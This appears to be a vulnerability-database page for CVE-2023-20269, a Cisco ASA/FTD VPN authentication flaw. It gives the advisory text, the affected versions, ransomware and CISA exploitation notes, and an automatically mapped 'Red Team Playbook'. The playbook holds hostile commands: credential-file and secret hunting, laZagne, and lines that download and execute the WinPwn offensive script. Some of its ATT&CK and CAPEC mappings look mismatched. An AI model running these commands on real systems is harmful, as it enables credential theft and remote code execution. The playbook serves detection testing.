CVE-2023-20269
Overview
This vulnerability is an authentication logic flaw in the remote access VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. It arises from improper separation of authentication, authorization, and accounting (AAA) controls between the remote access VPN and HTTPS management or site-to-site VPN components. The root cause is that default connection profiles or tunnel groups can be specified during authentication attempts, allowing unauthorized access attempts to bypass proper AAA boundaries within the VPN subsystem.
Vulnerability Description
A vulnerability in the remote access VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or an authenticated, remote attacker to establish a clientless SSL VPN session with an unauthorized user. This vulnerability is due to improper separation of authentication, authorization, and accounting (AAA) between the remote access VPN feature and the HTTPS management and site-to-site VPN features. An attacker could exploit this vulnerability by specifying a default connection profile/tunnel group while conducting a brute force attack or while establishing a clientless SSL VPN session using valid credentials. A successful exploit could allow the attacker to achieve one or both of the following: Identify valid credentials that could then be used to establish an unauthorized remote access VPN session. Establish a clientless SSL VPN session (only when running Cisco ASA Software Release 9.16 or earlier). Notes: Establishing a client-based remote access VPN tunnel is not possible as these default connection profiles/tunnel groups do not and cannot have an IP address pool configured. This vulnerability does not allow an attacker to bypass authentication. To successfully establish a remote access VPN session, valid credentials are required, including a valid second factor if multi-factor authentication (MFA) is configured. Cisco will release software updates that address this vulnerability. There are workarounds that address this vulnerability.
Impact
An attacker without authentication can conduct brute force attacks to identify valid user credentials, which can then be used for unauthorized remote access VPN sessions. An attacker with valid credentials may establish clientless SSL VPN sessions using default tunnel groups, potentially bypassing intended access controls. This enables unauthorized network access, increasing the risk of lateral movement and data exposure within the affected network environment. Multi-factor authentication, if configured, remains effective and must be bypassed to exploit the vulnerability fully.
Solution
Cisco has released software updates addressing this vulnerability; affected Cisco ASA Software versions include 9.8.1 through 9.8.2.8. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-ravpn-auth-8LyfCkeC available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC. Workarounds are also documented in the advisory for environments where immediate patching is not feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (246)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.1 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.1:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.1.5 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.1.5:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.1.7 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.1.7:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.8 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.8:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.14 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.14:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.15 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.15:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.17 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.17:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.20 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.20:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.24 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.24:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.26 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.26:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.28 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.28:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.33 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.33:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.35 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.35:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.2.38 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.2.38:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.3 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.3:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.3.8 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.3.8:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.3.11 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.3.11:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.3.14 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.3.14:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.8.3.16 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.8.3.16:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Ransomware Groups 1
Threat Feed
6 eventsRansomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
43%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20269 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-20269 |